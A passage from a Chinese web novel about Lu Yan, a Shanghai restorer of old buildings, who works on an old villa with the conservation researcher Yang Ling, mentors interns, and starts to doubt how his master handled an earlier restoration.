张野在施工群刷屏表情包:“恭迎陆贵妃与杨太医回宫监工!” 陆砚盯着图中文件末尾的钢印,忽然想起那杯牛奶的甜味。 他点开杨灵对话框,敲下又删去,最终只发了张老洋房晨曦的照片。 三分钟后,对方回了一张监测仪参数截图。 “哈——” 对着屏幕笑出声。 时间真是伟大的魔术师,他现在已经可以get到对方的幽默了。 墨斗先生:“谢谢牛奶,期待合作。” 等了好一会,要不是上面标着‘正在输入’四个字他肯定就切走了。 @adeline:“永远不要去怀疑一个智者。” 仿佛看见向来淡然的杨灵化身q版模样,带着墨镜背对阳光双手叉腰,一副拽拽的样子。 不过还挺可爱的。 “噗!哈哈!” 陆砚发现她有时候很吃这套,只要你顺着她来,就特别好说话。 意料之外的好说话! 既然如此不如趁热打铁: 墨斗先生:前阵子的施工日志你看了吗?记得签字。 项目没被停下之前,承包方每天要事无巨细地在施工日志记录进程和当天状况以应对抽查。 现在‘现场专家评估’和‘过程监管’都是杨灵负责,所以阶段性签字肯定是找她。 对应的,杨灵这边监理日志也需要陆砚签署。 可以遇见的是,两人未来得像交换‘日记’的笔友一样密切往来。 想到此处,陆砚继续跟她分享日常。 墨斗先生:“今天中午去看望顾大律师了,从来没见过如此厚颜无耻之人,放我鸽子还让我请客!” 对方没有立马回消息,估计在忙。 陆砚也不催,准备出门一趟买点东西。 虽说只是共同监工,但项目时间可不是一天两天,这次修缮令一出,老洋房可以算半个家了。 这么一看,往大胆的方向构思,倒是会产生一种和对方同居的遐想。 嗯......每天早上九点到下午,危房通过,杨老头的意思好像是让我搬进去保护现场......这么说业主协议他不用操心...... 关于这类工期在3到6个月的长期系统性修缮工程,老洋房涉及结构加固、木作修复、风貌还原等复杂项目,需要24小时监测建筑状态,施工方入住现场较为常见。 毕竟很多时候,一场突如其来的梅雨潮湿就有可能把木材和灰浆养护工作毁于一旦。 手机震动,是一条语音。 @adeline:“她那边确实遇到一些问题,昨天来了三辆混凝土车堵在律所门口。” 陆砚一惊,做律师的还能让人给欺负了?这么惨的吗? 墨斗先生:“你这么一说,她大中午喝威士忌我就能理解了,感情是压惊酒。(擦汗.jpg)” @adeline:“你还是先管好自己吧,明天上午来一趟老洋房。” 第二十一章 同居的可能 雾气渐散,老洋房的雕花铁门‘吱呀’晃响。 终于,我又回来了! 沉默寡言的朋友,你们还好吗? 在陆砚拎着两袋生煎跨进院门之前,杨灵已经到了,正踮脚擦拭西窗的彩玻璃。 她今日换了件浅灰针织衫,袖口卷到手肘,发丝被晨光镀成毛茸茸的金边,整个人像从老胶片里裁下的剪影。 明明前天才见过,但这股突如其来的怀念情绪是怎么回事? “杨博士亲自擦窗是不是屈才了一些,还以为您只会用激光扫灰尘呢。”仿佛整个人都幼稚了些,总是忍不住‘攻击’对方。 其实他想说的是‘你今天走的是人妻风?’,不过理性加持下这话哪里敢张口就来。 “现在流行不会说话可以闭嘴,陆师傅最好跟上潮流。” 她还是老样子,有朝气! “如果现在我只剩下最后一次发言,我会对那位女士说‘可以邀您共进早餐吗?’”晃了晃手中的塑料袋。 好心情是藏不住的,大早上看到生煎油渍在牛皮纸上晕出透明斑点,很有食欲。 于是特地给她也买了一份。 杨灵回头看向那个头上翘起一根呆毛而不自知、浑身冒傻气的男人,犹豫着。 还是走过来从包里拿出纸巾。 “看在你诚心诚意的份上我可以陪你吃一个。”用纸巾从里面夹走一个,眼神灵动亦端庄。 看看! 不需要那么技巧,只要肯用心,一个生煎都可以打出很好的效果! “我本以为学霸和其他女人不一样,难道你也会担心吃胖?” “陆先生怕是宿醉还没恢复,难道没有考虑到‘那位女士已经吃过早餐了’这种情况吗。” 陆砚却是盯着杨灵拿着生煎的手,指尖粉粉嫩嫩的,宛如三月盛开的桃花瓣。 比起张野工作之后灰扑扑的手,他在某些层面还是认可高科技仪器那套的。 每次看着她那双眼尾微微下垂的杏眼,总觉得里面透着未经雕琢的纯真,随即玩心大起: “一会要是吃不完,这东西就得喂垃圾桶了,要是被人有心人看见了还以为我跟垃圾桶关系更亲呢。” 期待回复。 和好朋友分享一个笑话,内容是其次,快乐主要源于看对方的反应。 “某些人前天抱着垃圾桶喊‘晚声’的时候,也没嫌膈应。”她果断回击,“建议今后醉酒前,先把垃圾桶安置好。” 咳咳......险些被生煎呛住。 那晚他把垃圾桶错认成吉他,这事被陈禹当笑话第二天就说了。 但是喊‘晚声’肯定有人为加工的成分,万一是诈胡呢? 第二十二章 不讲人情 陆砚盯着老刘的号码,指尖在拨号键上悬了半晌。 “刘哥,我陆砚。”他让语调沾上三分市井气,“城隍庙那飞檐补得漂亮啊,我路过都看直眼了。” 天边暮色在楼道口打上一层淡薄的阴影。 “哈......我这都是糊口罢了......陆师傅有事?” 那边像是有点闹腾,陆砚谈话也不兴绕圈子:“刘哥我这有个活,待遇好得不得了,你看你有没有兴趣啊。” 别看他平时不修边幅的模样,其实在圈内绝对算正儿八经的‘名门正派’,师承杨启文在外人眼里那妥妥的宗门底蕴。 老刘呼吸滞了滞,却呈现出想吃但已经八分饱的遗憾口吻:“最近......家里事多。” “工期半年,材料局特供的防水灰浆。每天准点收工,误不了接孩子放学。” 知了嚣叫走残阳,无风的夜幕渐渐闷盖大地。 漫长沉默里,楼道感应灯忽明忽暗。 当陆砚以为要听到忙音时,老刘终于闷声道:“这事我拿不住主意。” 拿不住主意? 他的注释是,‘我想干但是条件上有困难’。 结合对老刘的了解,困难应该来自家里。 想到此处,陆砚又给欠他尾款的张老板打了个电话。 ...... 老刘搓着围裙迎下来,陆砚提着礼盒往上赶,楼梯口差点撞一块。 本来说在外面请老刘一家子吃顿饭以表诚意,但那边也是客气得不行,非要陆砚来家里吃。 总有一方要妥协的,那就恭敬不如从命吧。 “刘哥。” “陆师傅破费啦,”这个中年男人满是不好意思,挠挠头,“这事......我老婆那边不好说话,一会你多担待些。” “哪里话,合作嘛,没有必须要成的道理。” 小区虽老,却也不是老式步梯房。 好像自从小区改造以后全上海的老破小都改头换面了似的。 实际上在普通人眼里也就是外墙刷漆再装个电梯的‘浩大工程’。 中途沉默一小会,来到303门口,门马上被推开。 “爸爸!”扎辫子蓝裙小女孩从门缝探头,大眼睛提溜着,很是狡黠。 这不巧了嘛。 “哟~小朋友还记不记得叔叔啊!” 上次亲了自己一口、被她妈妈抱走的时候好像是叫‘子鱼’来着? 第二十三章 实习生们 冯小军通过学校内推找了一份文保局的实习,这叫他回寝室气焰十分嚣张。 当夜找好文案一连发了三条朋友圈狠狠炫了一波。 他的人设倒不是逼哥这类的,只是一来这是校方对他专业知识的认可,二来...... 此次实习项目联合住建局真枪实弹地参与进来,含金量和随便找个地方盖章的行伍自是不同! 高兴之余,提前做足了准备—— 古建修复工程是以保护和传承历史文化为核心目标,强调对古建筑原有风貌和历史信息的保护。设计理念是在不改变文物原状的前...... 今一早便融入雨中往老洋房赶。 “师傅,就在这附近停一下。” 网约车停在新华路华山路洋房建筑群前。 浠沥沥的天空下,远远望去这幢三层的砖木小楼像是被岁月腌渍过的古董匣子,巴洛克式拱券门洞上嵌着破碎的琉璃拼花。 大风斜过铸铁门栏,他忙把伞拧向风的来处,用精湛内力格挡下这铺天盖地的一口吐息。 慢慢走近,又看到停在院内的樱花粉保时捷Taycan,即使在灰蒙蒙的天空下也是那么亮眼。 乖乖,工薪族肯定买不起,难不成是房主的? 总之,带着憧憬的心踏上台阶,仿佛看见住建局和文保局的领导将来因为他的去留而大打出手。 门没关,敲三下,无人应。 收伞,隐约有人说话,冯小军抖落了伞上水珠才进门。 “西南角梁柱的糯米胶要换新配方。”清冷的声音从回廊传来,“按文保局标准,骨胶与石灰的比例得调到1:3.7。” 就好像被雨水闷住的早晨陡然跳出串音符,略带紧张的第一天突然生动起来,冯小军头回觉得声音竟如此有趣。 顺着那边看,一个古典而富有书卷气的女人,中发绸缎般铺开。 也是来实习的? “传了百年的方子,怎么到你这儿就成实验室试剂了。”另一边,工装男人嘴上抱怨,手却老实在本子上做笔记。 眉眼阳光而俊朗,身形高大健硕,一个十足的帅哥。 呸,肯定是渣男。 早知道是这个氛围的话,今天出门该做个发型的。 还有,到底是施工现场还是偶像片拍摄现场? 也罢,不管是哪种他也能完美进拍。 陆砚回头,看到一个微胖男孩正在走神。 三分憨厚,两分萎靡,这便是大学生吧。 “那个实习生叫冯小军,你去带他吧。” 陆砚看向杨灵,对方也不解释。 虽然惊叹于办事效率之快,不过连招呼都不上去打一个是不是也太冷漠了? 算了,聪明的男人要学会闭嘴。 于是他走到门前招呼冯小军先坐下,从头到尾把注意事项讲了一遍。 ...... 冯小军盯着雕花门框直咽口水:“妈呀,这花纹比教科书上细多了!” 虽然哥不讨厌你震惊的模样,不过你小子最好是装出来的! 不然...... “细活儿都在缝里。”陆砚摸出把小凿子,“就像你穿的鞋底,针脚密了才经穿。” 如果是正儿八经文物保护与修复专业出生,那么这些常识性的话题大可不用拧出来讨论。 可眼下特殊情况,要不拘一格用人才,所以土木专业的冯小军来补小李的位。 决不是应付了事,老洋房的瓦作问题其实不大乃至于陆砚自己就可以补齐,至于采购和后勤......如果有空的话更是不在话下。 此次带实习是为了团队长远打算。 “针脚太密肯定是假鞋。” “什么?” 假鞋是什么梗? “陆哥,门口那个也是来实习的?” “对,同济那边来的。” 陆砚看向那个女孩只觉得一阵恍惚。 是上海真的太小还是世界太巧? 苏棠,就是之前街头弹吉他唱歌的女人,没想到是个学生,还成了这的实习生。 还好杨灵在义务带她,不然自己还真忙不开。 “想必她非常热爱这行吧!” 志向相同加一分,我土木人的春天,来了! 冯小军盯着杨灵和那个叫苏棠的实习生,胖脸微颤且红润,像一个小说家想到精妙的故事而颅内高潮。 可惜冯小军不是作家,应该是处男。 无奈叹气,“一会中午我请客,吃饭的时候自己问问她呗。” “这个......这个陆师傅,他们那边在教什么呢我有点好奇。” 老实说,打从见到苏棠第一眼起冯小军就沦陷了,虽然上次沦陷是见到杨灵的时候...... 但明眼人都看得出来,那是陆师傅的心头好啊! 他冯小军名字好歹也带了军字,军子不夺人所爱! 于是俩人谈话间,默默向那边慢慢靠拢。 窗外沙沙雨声,屋内的声音也很轻。 杨灵从材料中途转到文保方向,确切来说是‘现代文物保护与修复’,传承的基础上融合现代科技、注重功能更新与活化利用。 “听起来与传统师傅他们手段不同但殊途同归?”苏棠说。 “嗯。” 实则不尽然,她也是在实施过程中发现,这也许会触动太多利益纠葛以至于被彻底打压。 但是,有些事情必须要做,必须。 苏棠的笔记本啪嗒落地,钢笔滚到杨灵脚边。 她俯身去捡时,发现杨灵正在施工图某处画了五个问号,红笔尖悬在‘西侧回廊加固方案’上方微微发颤。 “杨老师,这方案哪儿不对劲?” 杨灵把平板转过来,指尖点着图纸上一团乱麻似的线条:“西边回廊这个弯拐得蹊跷,不像以前的老传统。” “嘿,当年工匠偷懒了呗。”陆砚凑过去看,肩膀差点撞上她发梢,“就跟做饭似的,总有人爱少放盐。” 等等! 上次主持修缮的,是自己师父啊! 半合的窗户漏来一丝凉风。 陆砚一个激灵,手心出汗,“给我看看。” 杨灵将平板和图纸一并递过来,安静和陆砚并肩站着,整个老洋房只剩窗外‘哗哗’的雨声。 在冯小军的视野里,随性的陆砚一下就威严起来,身边充斥生人勿进的引力场迫使他连呼吸都变得小心翼翼。 直到此刻才有点行业大前辈的样子嘛...... 这也太凶了,我一个大男人都发怵。 陆砚在看图,杨灵不说话在看他,于是苏棠也没有说话,静静站在一旁。 冯小军落后陆砚三个身位,此刻既想凑过去跟他们一样肃穆,又顾忌在这么肃穆的氛围下乱走动太格格不入。 要不讲个笑话缓解氛围? 怎么办?在线等,急急急! “看不懂。” 空间凝结的冰瞬间破碎。 嘿嘿一笑陆砚把东西递回去。 杨灵没接。 然后意外的,两人眼对眼,僵住了。 那个轻松跟他唠嗑的陆师傅又回来了,嘿嘿,还顺带出了个洋相。 如果陆师傅是抽象派的话...... 那我冯小军再加一分! “陆师傅也是同济毕业的,不至于看不懂。” 什么?和苏棠是校友?! “害,太久没接触这些理论上的东西,我早忘得差不多了,”陆砚苍蝇搓手,有些不好意思,“今天带实习生,咱先把眼前的事做好。” 角落里某张脸垮了下来,不过没人注意就是了。 报告,我自卑了,我想申请和苏棠一组,或者让杨老师带我! ...... 两个小时,匆匆把瓦作修复部分过了一遍,不知道冯小军记住了几分。 眼下临近正午,雨势转小。 “喂,乔乔。”杨灵接了个电话。 陆砚再一次往她那边看去,对方从刚才就没再搭过话,仿佛自己是空气。 这着实在冯小军那小子面前有点难堪。 他也不是那种死要面子的男人,一会杨灵陪自己喝个三五杯、再喊几声陆哥、自己就大度不跟她计较了吧! 下一刻,臆测对象挂断电话,踩着一款收束十分贴合脚踝线条的卡其色女靴,款款走来。 “乔乔说要吃静安别墅旁的蟹酿橙。” 好样的兄弟! 每次需要破冰的时候你都没让我失望。 “但店主说那道菜要提前解冻南宋菜谱才能上。”她说。 通俗来讲就是现在没货,对吧? 不管怎样,杨灵愿意开启话题他是一万个欢喜搭茬的,丢下手中笔纸便上前去。 “那咱们就去她律所对面新开的沪粤轩,你应该吃得惯叉烧酥的吧?” 上次在小酒馆,杨灵基本上没吃味道重的食物,再加上人也是上海姑娘应该跑不掉。 “陆师傅一向这么大方吗?” 实习生苏棠接上话,目光调侃,看向陆砚。 杨灵则有些诧异看着俩人。 也许,不,这就是在内涵那天街边上没给她投币嘛。 小师妹还是太年轻,不知道‘下次一定’的传统。 没有解释,他说:“你订座,我买单。” 杨灵点了点头,开始捣鼓手机。 另一边,苏棠却是感到无趣,瘪了瘪嘴。 “杨老师,我中午还得回学校一趟,午饭就不跟你们吃了。” 不待杨灵点头,一直愣神的冯小军一个激灵,也说道: “杨老师我也是,哈哈,内个我是学生会的......一般抽不开身。” “好。” 印象里,杨灵对外的姿态一直就那么平静。 不说多余的话,不做多余的事,不表露多余的情绪,这就是她。 不对,是之前的她。 嗯......从什么时候开始,杨灵才承认他们是朋友的呢? “哦对了,还叫后厨备一份麦茶,她要是大中午又喝威士忌得暖一下胃。” 杨灵拨弄手机的动作依旧那么卡顿,微风捎来一声几不可闻的‘好’。 第二十四章 一顿午饭 “所以,现在就我们三个人吃了?” 桌上两道冷盘过半进入陆砚腹中,顾南乔才匆匆赶到。 光彩似朝阳般的人儿,还没坐下就先给自己倒了杯水。 “刚还说你贵人多忘事,结果您自个就把‘贵人’的形象破了。” 这时陆砚用手示意服务员上菜,余光瞥见她椅背上的香奈儿手包,心下咋舌。 自打认识以来没重样过,这都是第几个包了? “呼——,贵人也得喝水啊。” “顾律师今天这气喘的,像律所破产去应聘大堂经理。” “敢对贵人不敬,你小子前途堪忧。”顾南乔飞了个白眼。 然后陆砚就开始羡慕了。 “灵灵~” 她一把拢过身去搂杨灵的腰,两只手乍像白色小蛇蜿蜒缠绕,发出痴汉音:“天天跟土木男打交道真是辛苦你了,来让姐姐看看累着没。” “别.....你别过来。” 先呆住,像是思考究竟发生了什么,然后赧颜,着急按住顾南乔的咸猪手。 三分困惑,三分抗拒,九十四分害羞一同答复这出满分‘春色图’。 外人眼里高不可攀的女神在别人手里竟像玩物! 他瞬间病了,红眼病。 “咳咳,纠正一下,我是古建筑保护那一块地,跟土木......” “嘿嘿嘿嘿——” 好吧,为了不影响那边精彩的故事剧情陆砚决定最大限度降低存在感,为‘古建筑修复与保护工程’正名就放在下次吧。 “你越挣扎姐姐就越开心啊~” 面对0帧起手的邪恶闺蜜,没预设过此类情况的她显得被动,一会功夫就被顾南乔钻了空子。 她的手就像烫红的烙铁,所及之处杨灵均是身子一颤,尽力往后缩。 霎时,房间充斥千娇百媚的粉红泡泡,一朵娇艳的玫瑰在杨灵脸上乍然绽放。 “你......喂!” 第一次听到那个女人用如此丰富的情绪和超出正常对话时的音量肆意表现自己...... ‘砰砰,砰砰’ 血液冲上大脑,连带他也兴奋不已。 就是每天请这么一顿饭他也愿意啊! 南乔兄,我是那么恨你又爱你! “乔乔别闹了,我会生气的。” 防线没撑过三秒,杨灵一边按着对方的手,弱弱憋出看似亮底牌实则求饶的话。 原本和可爱无关的她此时非常可爱。 当时时间过去了0.01秒,陆砚脑海闪过为人妻的杨灵温柔倚靠身侧、细细替他整理衣领的画面。 宝藏啊。 “顾律师!需要我帮你按住她吗!” 对面两人同时瞪过来。 “哟,你小子知道我是律师你还敢提着这种要求?想帮我冲业绩?”对方眉头一挑,将枪口调转。 哥们,我是看你太累想帮你啊!你我之心日月可鉴,兄弟阋墙安敢再演! 杨灵倒是松了口气,悄悄递了一个感激的眼神。 这是一个怎样的眼神呢? 大约是,瞬间让心墙斑驳的爬山虎褪去,再由米开朗基罗亲手铺叠上艺术壁画般令感官焕然一新吧。 不好意思了顾兄弟,我有不得不背叛组织的理由。 “您好,现在可以上菜吗?” 虚掩的房门被人推开。 包间内一个小圆桌,三人互成犄角正好均分这片空间。 经过这段时间相处,杨灵‘破防的时候’脸皮薄是毋庸置疑的事实,现在断然不能将往事重提。 想起那个感激的眼神,嘶,仿佛取得了重大信任、他的地位直线上升。 “先生,女士,这是我们的招牌菜,虾籽柚皮。” 服务员小姐姐双手端菜上桌,另一位则是替三人整理餐具和热水消毒。 “这是古法盐焗麒麟鱼和蟹粉脆皮婆参,它们现在温度正好,不用担心烫。还有一道汤请您稍等片刻,然后甜品会最后送上来。” 无厘头的玩闹不知所起,但应该就到此结束了。 压抑—— 压抑,是大笑过后的宿命。 直觉告诉他,突然的打闹必有猫腻,可有些话对方不说,你便不能问。 待服务员出去以后,陆砚轻松笑道:“要喝点什么?虽然大中午喝酒不是很好,但今天,某乐意奉陪。” 顺便感谢您出场就奉献了一出玫瑰色好剧。 “蔬菜汁就好。” “我跟灵灵一样。” 还好你们不是喝同一杯...... “好吧,谢谢嘴下留情,又给我省了一笔。” 叫门外的服务员加了饮品,陆砚准备聊聊顾南乔的事。 杨灵却是有话等着他,“你结款后比以前大方了。” “对啊,陆师傅,这就是传说中的MVP结算画面吗?” 闺蜜视线交错,唱和间的调笑之意有点韦小宝左拥右抱那味了,可惜现实中那是遥不可及的梦。 “哎别提了,上次是甲方的烟雾弹,但我请你们吃饭可是真心实意的昂。” 要是人人都像他对待这顿饭一样真诚,世界是不是就少了很多烦恼? 一想到每月雷打不动的房贷,就越发想把拖欠尾款的甲方拌到脆皮婆参里吃掉。 “那你不把钱留在正事上反而请我们在这吃饭呐,是有什么事吗?先说好,我们的交情律师费最多给你九八折不能再多了——” “废话,吃饭能有什么吃饭之外的目的啊,油腻了啊你。” 陆砚欲言又止,顾南乔哪知道,这事要的是效率而不是结果,请律师是拿不到结果后破罐子破摔的手段。 加之团队里一个两个危机意识重——陆砚打死不信他们没钱——等你发律师函走法律程序人家闺女研都考完了,兴许二战都可以报名了也说不准...... “下次吃饭可以随便一点。”杨灵说。 “是啊,手头要是富余的话尾款的事情就不用急了呀。” 两人突然展露‘贤妻属性’,虽说有一些指摘的意思,但内里的关心明眼人都看得出来。 这是女人智慧的体现,因为陆砚被温暖得想加菜了。 为了不让这顿饭难以下咽,他解释道: “都说了是MVP结算画面,你们猜猜,六个MVP一起结算时,这顿饭钱究竟顶不顶用。” “哇!” 顾南乔不负高情商之名,适时做出崇拜的姿态捧场,只是不那么真诚罢了。 “哥哥我能向你打听一下,这行赚得多么。” 多,做得好比一般人想象得要多。 但是这点‘多’对面前的二位来说又不多,甚至比起他们的阶层来说远不够看。 所以,陆砚还能说什么呢? “好好吃饭,赶紧的,一会都凉了。” 先前的冷盘他吃着还不错,所以对这家的招牌菜有信心。 据说那什么‘虾籽柚皮’是从失传古籍里复刻出来的,也不知几分真假。 如果为真,那自己好歹算大半个‘非遗传承人’,也算间接支持自己的文脉了。 “诶?” “不好意思!” 陆和杨筷子夹住了同一块参, “你吃吧。” “你吃吧。” 好样的,话也撞一块了。 多重巧合可以诱人发笑,亦可让人害羞。 “‘好好吃饭’是谁说的?你们俩这是让人好好吃饭的架势吗!” 偏偏顾南乔这时把筷子往桌上一摔,嘴上不饶人,又在旁边拱火。 一时间杨灵面颊绯色上涌,又打破了平时那层淡漠的面纱。 竟是意外的纯情。 呸,是气血足。 “咳咳,”赶紧转移视听,“现在还有人跟踪吗?” 关于‘顾南乔线下被人尾随却没有告诉杨灵’这件事,上次在电话里被杨灵堵着一次。 好在他铁骨铮铮,当事人不肯透露的事,他亦然。 于是只得保证,‘一定会让顾南乔亲自跟她说清楚’,才勉强在电话那边过了关。 所以,上海女人啊...... “乔乔,他在问你。” “啊?有吗?哈哈——”顾南乔夹了一块虾籽,眼珠子提溜转动,“这么隐私的事,当着陆师傅的面说不好吧。” “...” 这么话说的,陆砚就不开心了,小人和女人一时不知道该给她戴哪顶帽子! “在场一个是你恩人,一个是你闺蜜,都不是外人有什么不能说的?”他正义凛然道,就像辛苦整个夏季的瓜农一定要在今天吃到自己种的瓜似的理所应当。 “那行啊,告诉我你的收入状况和欠款甲方是谁,咱谁也别藏着掖着!” 所谓好兄弟就是,自爆的时候也得带上一个对吧? 有那味了! “你看你,又急,吃菜吃菜!” “陆师傅,别急,快说快说。”杨灵往这边望,眼睛亮晶晶的。 ...... 午后,室内灯在雨幕里晕成色块,玻璃窗内投射两个倒影。 杨灵在用湿巾擦拭顾南乔溅到袖口的醋渍,动作轻柔得像在修复出土绢画。 陆砚则想到那晚酒店里,她是不是也曾这样温柔地帮他把牛奶放床头柜,然后还抽空叠了个纸鹤呢? 只是心事翻着翻着,晨间杨灵在施工图画的五个问号就蹦了出来,此刻正在他工具箱底层无声发酵。 第二十五章 按她的来吧 “陆哥你人在哪呢,老洋房没看见你啊。” “张哥,这不巧了吗,上午我也没在老洋房看见你呀。” 张野讪然,接着说:“内个,我们怎么来了个女实习生啊?” 害,是说在老洋房没见着他也不至于打个电话,原来另有话说。 只是,这燕国的地图也太短了吧? “只有一个女实习生吗?” “额......还一个小胖墩,不过是学土木的,和我们这行也不匹配啊。”电话那边压低了声音,“那哥们开口闭口就是学生会,听着太头疼了。” 陆砚对此表示凑合着用吧,好歹是杨灵招来的,即使人不行也要看主人的佛面啊。 眼瞅着凝重的乌云就要被自己拨开,张野那些些小确幸、小烦恼着实无法重视起来。 “就这么着吧,你先带带他们,我现在要去杨老头那边一趟。” “诶不是,我——” 挂断车载蓝牙,刚好在泰安路的老石库门边停下。 树梢缝隙投下细碎光点,在薄薄雨幕中一晃一晃。 这个季节喝点白茶是极好的,清热润肺、消炎解毒。 也不是说什么东西好就要一股脑买来去,拧着四十元一斤的黄酒和百元一两的茶叶是一个意思,依他们的关系早没那么多计较。 只是这次不一样,不买点好的带过去,他惶恐。 花了差不多一天的收入买下半斤茶叶,心思却半点不在茶叶上。 彼时有种初出新手村、立志斩杀天下贪官,结果一回头发现自家老子便是贪官头子一样的既视感。 西边回廊那个莫名的拐弯...... 就仿佛是屎上雕花似的乱收手工费啊!这样大的工程摊在文物建筑修复上,嘶—— ‘第一桶金的每个毛孔都是肮脏和血淋淋的’。 同时他想起‘重复施工、虚报工程’这俩在古建业内出现的高频词汇,心里莫名窜起一股火。 与那些败类呆在一片池里浑身难受! 要不知道当年是杨启文主持修缮,且对杨启文保持绝对自信,那天早开口大骂了。 “师父!喂!” 陆砚提着茶叶步入老人家门前的天井,叫声响亮,举止却如大学初次拜访时拘谨。 他还记得,同样是初秋的午后,老人从学校老师成了领他入行的师父。 片刻,屋内响起拖鞋汲地的拖曳声,声音隔着门,闷闷的: “你小子怎么过来了。” 老人似乎刚从午睡中醒来,脸上皱纹无精打采地垂落,瞧得陆砚又是一阵戚戚然。 “天气热了来孝敬孝敬你。” 不等杨老头转身,陆砚一手搂着他的肩膀往里走,进去先给自己倒了杯水。 “这是五年的老白茶,一年茶、三年药,你看这茶色已......” “少废话,说事。” 终止了没营养的场面话,杨启文砸吧砸吧嘴,用干瘪的手摸出半包有些皱巴的中南海烟盒。 陆砚起身从窗台边拿打火机给老人点上,待他鼻腔清畅喷出两道烟后,才开口说: “内个......” 一开口,他感觉自己被张野那小子附体了,这副心虚的口吻真真不像个男人! “杨灵您知道吧,就是上次一起开会的那个,她对老洋房的基本布局有点意见。” “那就按她的意见来。” “就是西边的......啊?” “按她的意见来。” 如果这边知了多一点、叫声大一点,就能发现,尴尬,是沉默的底色。 就像青春期的少年躲在房间做老手艺突然被闯进门的父母逮到,不对,应该是父母躲在房间进行激烈博弈、突然被闯进门的青春期少年打断。 这一刻,谁更坦然谁便是施压者。 当年是怎么回事? 贪没贪? 为什么现在又要改? 一根罗马柱的报价是多少钱来着?挑檐和棚顶的木雕、砖雕和灰塑,栏杆、墙面...... 那可是一整条水磨石回廊啊! 传承五百年的工艺,保密二百年的配方,您突然拐个弯多修了一大段! 没有任何解释,没有任何叙事,只是简单明了的告知。 看起来,这事情对老人来说甚至就像吃完饭出门散步一样小意。 却是座压在陆砚心里的大山。 “你得空了去搞个公司,名字在业内竖起来了就要提高效率......到这个年纪也可以多做些项目攒攒家底了,现在的年轻人还是要学会存点钱、存住钱。” “好,好。” 后面絮絮叨叨又说了些话,他没细听。 一会家常、一会是国外的杨嘉,又扯到他老伴天天抱怨学校食堂伙食但就是不肯回家吃饭。 陪着聊了大半个钟头才停下。 走的时候杨老头亲自把他送出门,临了郑重拍了拍: “纷纷诸事,只管去做。修这个房子,不要让老手艺埋没了,务必。” 一双眼睛深陷在眼窝,浑浊、依然透着股执拗的光。 这股日薄西山的悲凉,陆砚这辈子也忘不了。 他相信,杨启文一定有他的道理。 出了老石库门,没被阳光炙烤的地方挺阴凉的。 ...... “陆哥,是大后天开始动工是吧?我肯定来得及啊!” 电话里,搞彩绘保护的小赵胸脯拍得一个响亮,若不是身边有孩子的打闹声听起来就更靠谱了。 听说他最近是在教手绘是吧? “下午把老周和张野喊上,我们一块吃个饭。”陆砚说。 话刚说完,收到一条微信。 老陆:大后天抵沪,你妈非要我这时候给你把冬天的衣服捎过来,钥匙放门垫下面不用你接待。 这...... 老父亲的探望总是来得那么霸道和突然,根本没有丝毫商量的余地,通知般的口吻和杨启文如出一辙! 能说什么呢? 他要真的只是单纯来沪逛逛还真没什么,怕就怕他又把那‘老三问’也带过来了。 所谓老三问便是: 谈女朋友没?工作怎么样?结婚的事情提上日常了吗? 碰巧后天正式动工第一天,难道说,‘别来,我很忙?’ 这是什么爽文男主的画风,根本不可能好吧! 老爹老娘吵了大半辈子,难得因为自己的人生大事有了共同话题...... 让他们管管吧! “喂?喂?陆哥?” “额,你刚说什么?” “是尾款的事......” “应该就这几天了,你提前空出时间,老洋房最近一整段时间要忙的。” 挂断电话,陆砚开车回老洋房处,车没停稳就听见里面在乐呵。 “等哥承包外滩所有老洋房,就给小苏修个水晶鞋展馆!看见外面的雨没?老天都被我感动了。” “野哥你口水喷到雕花上了,难不成这是我们的防腐配方?” 进门就看见张野和冯小军脑袋凑堆,苏棠则抱着手看他们吹水,第一时间看见陆砚进门,嘴边勉强扯出个弧度权当尊师重道了。 不过他不在乎,笑得不如杨灵三分之一好看。 “哟,小军还是上心一些,都关注木料的防腐问题了。” 相处得不错嘛。 他有预感,冯小军这调性,不出意外的话应该就是张野的徒弟了。 细想下来,张野也是野路子出生,对于怎么从土木拐到历史建筑修复应该有充分经验。 “陆师傅,杨老师怎么没来?” 苏棠一如杨灵拿着平板靠在墙边,眼带嗔怪说。 是说刚进门的时候态度不对劲呢。 闻言才恍然大悟,他有些不好解释。 第一天,上午带实习生的俩人不约而同在下午消失。 他这边还好,反正冯小军也不是很在意。 至于杨灵那边...... 人家是文保局的领导啊! 诚然,确实有个每日监理日志要找陆砚签署,但落到实际,她偶尔过来监工转上那么一圈就算尽职尽责了,哪能天天帮你带实习生呢! 话说人家博士还没毕业,应该有论文要写吧。 “她情况比较特殊,以后你跟我吧。” “啊?” “!?” 没有管那边吹水二人组,苏棠下午换了一身清雅的缎面米色衬衫和棕色修身正装裤,单手支着下巴作沉思状。 忽然轻笑,说:“可是你连杨老师的图都看不懂诶。” “...” 言下之意就是两人水平相差甚远、她觉得吃亏了? 陆砚感觉受到了巨大的侮辱! 偏偏情况不能跟她明说,一股郁结之气堵在胸口。 团队除了张野外都是‘持证上岗’的专业人士,搞彩绘的小赵搞起了手绘辅导,原先大、小李不走的话,大李来带她倒是合适...... 要是让老周这个活化石来带,两人还真不一定能处得好...... 罢了,万一他们是来混个履历的,教一些基础的东西张野应该能胜任。 “那就张野带你,冯小军跟我吧。” “哎哟?” “!?” 人生的阴晴就在一瞬间,若说冯小军在不得志的路上越走越远,张野明显就峰回路转了。 泪目—— 于是他暗下决心,以后再也不对这位亦师亦友的相父灌酒了。 “算了,我还是相信同校学长吧,但是先说好,如果杨老师有空的话务必让她指导我。” 苏棠促狭目光扫过,将场上三个男人的表情尽收眼底。 忽然觉得,这位学妹不是个简单的人物。 张野、冯小军,危! 第二十六章 雨夜老洋房 “这是张野,名义上的测绘,实际上哪里需要补哪里,综合能力非常强。”陆砚还是决定今天结束以前得正式把人介绍一遍,“这是冯小军,工程学院的应届生。” “噢。” 这时不似刚才吹水有精神,跟着张野似乎玷污纯洁的个人履历了,胖脸竟有三分幽怨之色。 另一边,张野不忿地拍冯小军肩膀,“小子,以后喊张师父,听见没!” 他已经暗下决心晚上在酒桌上给这小胖子瞧瞧,何为师道尊严。 虽说徒弟不是那个美女高才生,这反而让张野松了口气,也更自在了。 有时候人就这样,没机会的时候嘴上超勇的,一旦机会来了又哪哪都条件不成熟。 还好杨督察在,陆哥应该不会对自己师妹兼实习生下手,嘿嘿! “我叫陆砚,笔墨纸砚的那个砚,也是和住建局接头、这个项目的负责人、你的学长。” 他稍微感慨的说着,没想到这个时代居然还有高颜值985愣头青扎进古建行业来,原来他不是最后一茬啊。 “她叫苏棠,同济那边推来实习的,放心,只要你来了肯定会有实习证明。” “其他人呢?”苏棠问。 “项目后天正式动工,其他人陆续进场。” 